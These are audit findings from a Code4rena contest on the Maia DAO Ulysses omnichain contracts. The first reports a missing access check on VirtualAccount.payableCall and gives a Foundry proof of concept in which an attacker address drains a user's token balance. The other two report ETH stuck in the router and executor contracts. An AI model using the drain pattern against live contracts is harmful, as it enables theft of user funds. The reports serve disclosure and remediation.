Maia DAO - Ulysses - perseverancesuccess's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Impact

The attackers can steal all users's assets by calling the payableCall of the VirtualAccount contract for the users. Users can loose their assets. In the design of the protocol, the Virtual Account is the "Omnichain Wallet The Virtual Account provides an organized and efficient solution for managing user balances across multiple blockchain networks. By maintaining separate accounting for each user, the Virtual Account enables dApps to better manage user interactions without making any changes to their existing smart contracts. This approach not only streamlines the ecosystem but also enhances security and maintainability. As a result, the Virtual Account serves as an effective omnichain wallet that simplifies cross-chain interactions for both users and dApps.". Link: Virtual Accounts

So the Virtual Account can have users' assets. It can be seen in the docs that "Since the Virtual Account Virtual Account should be able to keep and use UniswapV3 NFT's." Virtual accounts can have ETH or native coins of the blockchain or other ERC20, ERC721, ERC1155.

Notice the function payableCall don't have any access control protection.

function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;

            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

            if (!success) revert CallFailed();

            unchecked {
                ++i;
            }
        }

        // Finally, make sure the msg.value = SUM(call[0...i].value)
        if (msg.value != valAccumulator) revert CallFailed();
    }

Usually in the Virtual Account, functions should have the modifier requiresApprovedCaller, but for this function there is not.

Proof of Concept

By using this payableCall, the attackers can use the call to transfer the Virtual Accounts' assets to their account.

For example, suppose the Virtual Account have of MockERC20 newAvaxAssetGlobalAddress token. Attackers can use the following function call

PayableCall[] memory calls2 = new PayableCall[](1);
        calls2[0] = PayableCall({
            target: address(newAvaxAssetGlobalAddress),
            callData: abi.encodeWithSelector(bytes4(keccak256(bytes("transfer(address,uint256)"))), attacker, balanceTokenVirtualAccountAfter),
            value: 0
        });
IVirtualAccount(userVirtualAccount).payableCall(calls2);

By using this call, the attacker transfer all the MockERC20 to him.

Test Code POC: [multicallrootroutertest-t-sol](https://gist.github.com/Perseverancesuccess2021/89b368d177d42ef0c2355c7123557438)

To run the test case, please take the file MulticallRootRouterTest.t.sol in the link, and run

forge test -m testMulticallSignedNoOutputDepositSingle_VirtualAccount -vvvvv

I have added one test case: testMulticallSignedNoOutputDepositSingle_VirtualAccount

Note: I modified a bit the code here to take one scenario that in the Protocol test, there is money in the Virtual Account contract. It is easy to just simulate the scenarios that the Virtual Account have other assets.

function testMulticallSignedNoOutputDepositSingle_VirtualAccount() public {
        // Add Local Token from Avax
        testSetLocalToken();

        Multicall2.Call[] memory calls = new Multicall2.Call[](1);

        // Prepare call to transfer 100 hAVAX form virtual account to Mock App (could be bribes)
        calls[0] = Multicall2.Call({
            target: newAvaxAssetGlobalAddress,
            callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 50 ether)
        });

        // RLP Encode Calldata
        bytes memory data = encodeCalls(abi.encode(calls));

        // Pack FuncId
        bytes memory packedData = abi.encodePacked(bytes1(0x01), data);

        // Call Deposit function
        encodeCallWithDeposit(
            payable(avaxMulticallBridgeAgentAddress),
            payable(multicallBridgeAgent),
            _encodeSigned(
                1,
                address(this),
                address(avaxNativeAssethToken),
                address(avaxNativeToken),
                100 ether,
                100 ether,
                packedData
            ),
            GasParams(0.5 ether, 0.5 ether),
            avaxChainId
        );

        uint256 balanceTokenMockAppAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(mockApp);
        uint256 balanceTokenPortAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(rootPort));
        uint256 balanceTokenVirtualAccountAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount);
       
       // Start the POC of the bug paybleCall 

        console2.log("balanceTokenVirtualAccountAfter of the userVirtualAccount Before the exploit%s",balanceTokenVirtualAccountAfter);

        require(balanceTokenMockAppAfter == 50 ether, "Balance should be added");
        require(balanceTokenPortAfter == 0, "Balance should be cleared");
        require(balanceTokenVirtualAccountAfter == 50 ether, "Balance should be added");
        address attacker = address(0x1234);
        console2.log("Use the Wallet attacker to call PaybleCall to transfer the balance of the token newAvaxAssetGlobalAddress of the userVirtualAccount to the attacker");
        hevm.startPrank(attacker);
        PayableCall[] memory calls2 = new PayableCall[](1);
        calls2[0] = PayableCall({
            target: address(newAvaxAssetGlobalAddress),
            callData: abi.encodeWithSelector(bytes4(keccak256(bytes("transfer(address,uint256)"))), attacker, balanceTokenVirtualAccountAfter),
            value: 0
        });
        IVirtualAccount(userVirtualAccount).payableCall(calls2);
        hevm.stopPrank();
        console2.log("balanceTokenVirtualAccountAfter of the token newAvaxAssetGlobalAddress of  userVirtualAccount After the exploit %s",MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount));
        console2.log("balanceTokenVirtualAccountAfter of the token newAvaxAssetGlobalAddress of the attacker After the exploit %s",MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker));
        require(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker) == balanceTokenVirtualAccountAfter, "Balance should be added");
        require(MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount) == 0, "Balance should be added");

      
    }

Test case log: Log

Running 1 test for test/ulysses-omnichain/MulticallRootRouterTest.t.sol:MulticallRootRouterTest
[PASS] testMulticallSignedNoOutputDepositSingle_VirtualAccount() (gas: 1578546)
Logs:
  New:  0xd23136dA30B883Ea7dEea92f6Bbb148Ead770550
  Balance Before:  0
  Balance After:  0
  balanceTokenVirtualAccountAfter of the userVirtualAccount Before the exploit 50000000000000000000
  Use the Wallet attacker to call PaybleCall to transfer the balance of the token newAvaxAssetGlobalAddress of the userVirtualAccount to the attacker
  balanceTokenVirtualAccountAfter of the token newAvaxAssetGlobalAddress of  userVirtualAccount After the exploit 0
  balanceTokenVirtualAccountAfter of the token newAvaxAssetGlobalAddress of the attacker After the exploit 50000000000000000000

In this test case, please pay attention to the last part of the test case. So before the attack, the Virtual Account have 50 ETH of the newAvaxAssetGlobalAddress. But after the attack, all the newAvaxAssetGlobalAddress was transfered to the attacker.

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

Should add the modifier requiresApprovedCaller to the function

function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {
}

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L779 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L938-L948 https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/MulticallRootRouter.sol#L312-L331 https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgentExecutor.sol#L159-L191

Vulnerability details

Impact

The MulticallRootRouter and MulticallRootRouterLibZip contracts can receive ETH and there is no way to take out the ETH in this contract, so ETH can be stuck in these contracts.

In some flow, this contract receive ETH but don't send the ETH to other contracts, so it can accumulate the ETH. But there is no way to take out the ETH in this contract.

For example, let examine the flow of one scenario:

On the Branch Bridge Agent, user call

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L276-L282
function callOutSignedAndBridge(
        address payable _refundee,
        bytes calldata _params,
        DepositInput memory _dParams,
        GasParams calldata _gParams,
        bool _hasFallbackToggled
    ) 

The message with payload[0] = 0x85 (if _hasFallbackToggled is true) or 0x05 will be sent to the Root Bridge Agent. Then in Root Bridge Agent, in the lzReceive Root Bridge Agent

  } else if (_payload[0] & 0x7F == 0x05) {
            // Parse deposit nonce
            nonce = uint32(bytes4(_payload[PARAMS_START_SIGNED:PARAMS_TKN_START_SIGNED]));

            //Check if tx has already been executed
            if (executionState[_srcChainId][nonce] != STATUS_READY) {
                revert AlreadyExecutedTransaction();
            }

            // Get User Virtual Account
            VirtualAccount userAccount = IPort(localPortAddress).fetchVirtualAccount(
                address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED])))
            );

            // Toggle Router Virtual Account use for tx execution
            IPort(localPortAddress).toggleVirtualAccountApproved(userAccount, localRouterAddress);

            // Avoid stack too deep
            uint16 srcChainId = _srcChainId;

            // Try to execute remote request
            // Flag 5 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeSignedWithDeposit(address(userAccount), localRouterAddress, data, _srcChainId)
            _execute(
                _payload[0] == 0x85,
                nonce,
                address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED]))),
                abi.encodeWithSelector(
                    RootBridgeAgentExecutor.executeSignedWithDeposit.selector,
                    address(userAccount),
                    localRouterAddress,
                    _payload,
                    srcChainId
                ),
                srcChainId
            );

            // Toggle Router Virtual Account use for tx execution
            IPort(localPortAddress).toggleVirtualAccountApproved(userAccount, localRouterAddress);

            // DEPOSIT FLAG: 6 (Call with multiple asset Deposit + msg.sender)
        } 

Then the executeSignedWithDeposit of bridgeAgentExecutorAddress is called. Notice that value is address(this).balance of the Root Bridge Agent => So the bridgeAgentExecutorAddress will receive the ETH from the Root Bridge Agent.

---

Note: The ETH in Root Bridge Agent and Branch Bridge Agent can come from the Layerzero endpoint when users uses adapter parameters: _gasParams.remoteBranchExecutionGas as airdrop native token via Layerzero as explained in (https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters). We can see this is similuted in the test cases of Maia: https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/test/ulysses-omnichain/MulticallRootRouterTest.t.sol#L1384-L1386

But notice that in the lzReceive of Root Bridge Agent and Branch Bridge Agent, it is used excessivelySafeCall to lzReceiveNonBlocking, so if the call to lzReceiveNonBlocking is failed (reverted), the message delivery from the Layerzero endpoint is still succesfull. So for some transactions that the call to lzReceiveNonBlocking is reverted, it does not spend ETH, but the contract still received ETH from Layerzero, so ETH is accumulated in Root Bridge Agent and Branch Bridge Agent. This ETH can come from different users with different transactions.

End of Note.

---

bridgeAgentExecutorAddress

(bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata);

Then in Root Bridge Executor executeSignedWithDeposit

/**
     * @notice Execute a remote request from a remote chain with single asset deposit
     * @param _account The account that will execute the request
     * @param _router The address of the router to execute the request on
     * @param _payload The encoded request data payload
     * @param _srcChainId The chain id of the chain that sent the request
     * @dev DEPOSIT FLAG: 5 (Call with Deposit + msg.sender)
     */
    function executeSignedWithDeposit(address _account, address _router, bytes calldata _payload, uint16 _srcChainId)
        external
        payable
        onlyOwner
    {
        //Read Deposit Params
        DepositParams memory dParams = DepositParams({
            depositNonce: uint32(bytes4(_payload[PARAMS_START_SIGNED:PARAMS_TKN_START_SIGNED])),
            hToken: address(uint160(bytes20(_payload[PARAMS_TKN_START_SIGNED:45]))),
            token: address(uint160(bytes20(_payload[45:65]))),
            amount: uint256(bytes32(_payload[65:97])),
            deposit: uint256(bytes32(_payload[97:PARAMS_SETTLEMENT_OFFSET]))
        });

        //Bridge In Asset
        _bridgeIn(_account, dParams, _srcChainId);

        // Check if there is additional calldata in the payload
        if (_payload.length > PARAMS_SETTLEMENT_OFFSET) {
            //Execute remote request
            IRouter(_router).executeSignedDepositSingle{value: msg.value}(
                _payload[PARAMS_SETTLEMENT_OFFSET:], dParams, _account, _srcChainId
            );
        }
    }

Notice that ETH amnount of value = msg.value is transferred to Router. In the case of MulticallRootRouter Title

function executeSignedDepositSingle(bytes calldata encodedData, DepositParams calldata, address userAccount, uint16)
        external
        payable
        override
        requiresExecutor
        lock
    {
        // Parse funcId
        bytes1 funcId = encodedData[0];

        /// FUNC ID: 1 (multicallNoOutput)
        if (funcId == 0x01) {
            // Decode Params
            Call[] memory calls = abi.decode(_decode(encodedData[1:]), (Call[]));

            // Make requested calls
            IVirtualAccount(userAccount).call(calls);

            /// FUNC ID: 2 (multicallSingleOutput)
        } 

Notice that with funcId == 0x01, the call to the virtual account call function do not spend the ETH. So the amount of ETH is kept in Multicall Root Router.

In the case, users use the DepositMultiple, the issue and the flow is similar.

For the function executeSignedDepositMultiple in MulticallRootRouter, with functionID = 0x01 it is similar. Title

function executeSignedDepositMultiple(
        bytes calldata encodedData,
        DepositMultipleParams calldata,
        address userAccount,
        uint16
    ) external payable override requiresExecutor lock {
        // Parse funcId
        bytes1 funcId = encodedData[0];

        /// FUNC ID: 1 (multicallNoOutput)
        if (funcId == 0x01) {
            // Decode Params
            Call[] memory calls = abi.decode(_decode(encodedData[1:]), (Call[]));

            // Make requested calls
            IVirtualAccount(userAccount).call(calls);

            /// FUNC ID: 2 (multicallSingleOutput)
        } 

Proof of Concept

Step 1: Check the ETH balance of MulticallRootRouter. It is 0

Step 2: Users call on the Branch Bridge Agent or the Root Bridge Agent with the _params that the funcID = 0x01 in executeSignedDepositSingle

function callOutSignedAndBridge(
        address payable _refundee,
        bytes calldata _params,
        DepositInput memory _dParams,
        GasParams calldata _gParams,
        bool _hasFallbackToggled
    ) 

Step 3: Check ETH balance of MulticallRootRouter. It is not 0

for the POC, I have modified the testMulticallSignedNoOutputDepositSingle just to add the console2.log to log the ETH balance of the MulticallRootRouter before and after the transaction from LayerZero EndPoint to the Root Bridge Agent. Title

to run the test

 forge test -m testMulticallSignedNoOutputDepositSingle_2 -vvvvv

function testMulticallSignedNoOutputDepositSingle_2() public {
        // Add Local Token from Avax
        testSetLocalToken();

        Multicall2.Call[] memory calls = new Multicall2.Call[](1);

        // Prepare call to transfer 100 hAVAX form virtual account to Mock App (could be bribes)
        calls[0] = Multicall2.Call({
            target: newAvaxAssetGlobalAddress,
            callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 50 ether)
        });

        // RLP Encode Calldata
        bytes memory data = encodeCalls(abi.encode(calls));

        // Pack FuncId
        bytes memory packedData = abi.encodePacked(bytes1(0x01), data);

        console2.log("Before: ETH balance of rootMulticallRouter %s", address(rootMulticallRouter).balance); // New added code for POC

        // Call Deposit function
        encodeCallWithDeposit(
            payable(avaxMulticallBridgeAgentAddress),
            payable(multicallBridgeAgent),
            _encodeSigned(
                1,
                address(this),
                address(avaxNativeAssethToken),
                address(avaxNativeToken),
                100 ether,
                100 ether,
                packedData
            ),
            GasParams(0.5 ether, 0.5 ether),
            avaxChainId
        );

        uint256 balanceTokenMockAppAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(mockApp);
        uint256 balanceTokenPortAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(rootPort));
        uint256 balanceTokenVirtualAccountAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount);
        console2.log("balanceTokenVirtualAccountAfter %s",balanceTokenVirtualAccountAfter);

        require(balanceTokenMockAppAfter == 50 ether, "Balance should be added");
        require(balanceTokenPortAfter == 0, "Balance should be cleared");
        require(balanceTokenVirtualAccountAfter == 50 ether, "Balance should be added");
        console2.log("After: ETH balance of rootMulticallRouter %s", address(rootMulticallRouter).balance); // New added code for POC
    }

The log: Title

Running 1 test for test/ulysses-omnichain/MulticallRootRouterZippedTest.t.sol:MulticallRootRouterZipTest
[PASS] testMulticallSignedNoOutputDepositSingle_2() (gas: 1616990)
Logs:
 New:  0xd23136dA30B883Ea7dEea92f6Bbb148Ead770550
 Balance Before:  0
 Balance After:  0
 Before: ETH balance of rootMulticallRouter 0
 balanceTokenVirtualAccountAfter 50000000000000000000
 After: ETH balance of rootMulticallRouter 500000000000000000

Test result: ok. 1 passed; 0 failed; finished in 23.52ms

Running 1 test for test/ulysses-omnichain/MulticallRootRouterTest.t.sol:MulticallRootRouterTest
[PASS] testMulticallSignedNoOutputDepositSingle_2() (gas: 1563283)
Logs:
 New:  0xd23136dA30B883Ea7dEea92f6Bbb148Ead770550
 Balance Before:  0
 Balance After:  0
 Before: ETH balance of rootMulticallRouter 0
 balanceTokenVirtualAccountAfter 50000000000000000000
 After: ETH balance of rootMulticallRouter 500000000000000000

Test result: ok. 1 passed; 0 failed; finished in 23.81ms

You can see from the log that ETH balance of rootMulticallRouter 500000000000000000

Tools Used

Manual Review

Recommended Mitigation Steps

Should implement a function to take out the ETH stuck in this contract MulticallRootRouter and MulticallRootRouterLibZip

Assessed type

ETH-Transfer

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgent.sol#L743-L758 https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgentExecutor.sol#L82-L106 https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgentExecutor.sol#L237-L246

Vulnerability details

Impact

The RootBridgeAgentExecutor contract can receive ETH and there is no way to take out the ETH in this contract, so ETH can be stuck in these contracts.

In some flow, this contract receive ETH but don't send the ETH to other contracts, so it can accumulate the ETH. But there is no way to take out the ETH in this contract.

For example, let examine the flow of one scenario:

On the Branch Bridge Agent, user call addGlobalToken

function addGlobalToken(address _globalAddress, uint256 _dstChainId, GasParams[3] calldata _gParams)
        external
        payable
    {
        // Encode Call Data
        bytes memory params = abi.encode(msg.sender, _globalAddress, _dstChainId, [_gParams[1], _gParams[2]]);

        // Pack FuncId
        bytes memory payload = abi.encodePacked(bytes1(0x01), params);

        // Send Cross-Chain request (System Response/Request)
        IBridgeAgent(localBridgeAgentAddress).callOut{value: msg.value}(payable(msg.sender), payload, _gParams[0]);
    } 

The message with payload[0] = 0x02 will be sent to the Root Bridge Agent. Then in Root Bridge Agent, in the lzReceive Root Bridge Agent

  else if (_payload[0] == 0x02) {
            //Parse Deposit Nonce
            nonce = uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START]));

            //Check if tx has already been executed
            if (executionState[_srcChainId][nonce] != STATUS_READY) {
                revert AlreadyExecutedTransaction();
            }

            // Avoid stack too deep
            uint16 srcChainId = _srcChainId;

            // Try to execute remote request
            // Flag 2 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeWithDeposit(localRouterAddress, _payload, _srcChainId)
            _execute(
                nonce,
                abi.encodeWithSelector(
                    RootBridgeAgentExecutor.executeWithDeposit.selector, localRouterAddress, _payload, srcChainId
                ),
                srcChainId
            );

            // DEPOSIT FLAG: 3 (Call with multiple asset Deposit)
        }

RootBridgeAgent

/**
     * @notice Internal function requests execution from Root Bridge Agent Executor Contract.
     *   @param _depositNonce Identifier for nonce being executed.
     *   @param _calldata Payload of message to be executed by the Root Bridge Agent Executor Contract.
     *   @param _srcChainId Chain ID of source chain where request originates from.
     */
    function _execute(uint256 _depositNonce, bytes memory _calldata, uint16 _srcChainId) private {
        //Update tx state as executed
        executionState[_srcChainId][_depositNonce] = STATUS_DONE;

        //Try to execute the remote request
        (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata);

        // No fallback is requested revert allowing for retry.
        if (!success) revert ExecutionFailure();
    }

Notice that ETH value = balance of Root Bridge Agent is sent to bridgeAgentExecutorAddress. In the case balance of Root Bridge Agent > 0, ETH is sent to bridgeAgentExecutorAddress

---

Note: The ETH in Root Bridge Agent and Branch Bridge Agent can come from the Layerzero endpoint when users uses adapter parameters: _gasParams.remoteBranchExecutionGas as airdrop native token via Layerzero as explained in (https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters). We can see this is similuted in the test cases of Maia: https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/test/ulysses-omnichain/MulticallRootRouterTest.t.sol#L1384-L1386

But notice that in the lzReceive of Root Bridge Agent and Branch Bridge Agent, it is used excessivelySafeCall to lzReceiveNonBlocking, so if the call to lzReceiveNonBlocking is failed (reverted), the message delivery from the Layerzero endpoint is still succesfull. So for some transactions that the call to lzReceiveNonBlocking is reverted, it does not spend ETH, but the contract still received ETH from Layerzero, so ETH is accumulated in Root Bridge Agent and Branch Bridge Agent. This ETH can come from different users with different transactions.

End of Note.

---

Then in RootBridgeAgentExecutor executeWithDeposit

/**
     * @notice Execute a remote request from a remote chain
     * @param _router The address of the router to execute the request on
     * @param _payload The encoded request data payload
     * @param _srcChainId The chain id of the chain that sent the request
     * @dev DEPOSIT FLAG: 2 (Call with Deposit)
     */
    function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId)
        external
        payable
        onlyOwner
    {
        // Read Deposit Params
        DepositParams memory dParams = DepositParams({
            depositNonce: uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START])),
            hToken: address(uint160(bytes20(_payload[PARAMS_TKN_START:PARAMS_TKN_START_SIGNED]))),
            token: address(uint160(bytes20(_payload[PARAMS_TKN_START_SIGNED:45]))),
            amount: uint256(bytes32(_payload[45:77])),
            deposit: uint256(bytes32(_payload[77:PARAMS_TKN_SET_SIZE]))
        });

        // Bridge In Assets
        _bridgeIn(_router, dParams, _srcChainId);

        // Check if there is additional calldata in the payload
        if (_payload.length > PARAMS_TKN_SET_SIZE) {
            //Execute remote request
            IRouter(_router).executeDepositSingle{value: msg.value}(
                _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId
            );
        }
    }

For the addGlobalToken, the above if condition is false, because the payload length = PARAMS_TKN_SET_SIZE. Title

 /**
     * @notice Internal function to move assets from branch chain to root omnichain environment.
     *   @param _dParams Cross-Chain Deposit of Multiple Tokens Params.
     *   @param _srcChainId chain to bridge from.
     *
     */
    function _bridgeIn(address _recipient, DepositParams memory _dParams, uint16 _srcChainId) internal {
        //Request assets for decoded request.
        RootBridgeAgent(payable(msg.sender)).bridgeIn(_recipient, _dParams, _srcChainId);
    }

So notice that ETH is not sent from RootBridgeAgentExecutor to RootBridgeAgent. So ETH is stuck in RootBridgeAgentExecutor

Proof of Concept

Precondition: ETH balance of Root Bridge Agent != 0

Step 1: Check the ETH balance of RootBridgeAgentExecutor. It is 0

Step 2: Users call addGlobalToken on CoreBranchRouter addGlobalToken

The message is sent from the Layerzero Endpoint on the root chain.

Step 3: Check ETH balance of RootBridgeAgentExecutor . It is not != 0 and it is = ETH balance of Root Bridge Agent

Tools Used

Manual Review

Recommended Mitigation Steps

Should implement a function to take out the ETH stuck in this contract RootBridgeAgentExecutor

Assessed type

ETH-Transfer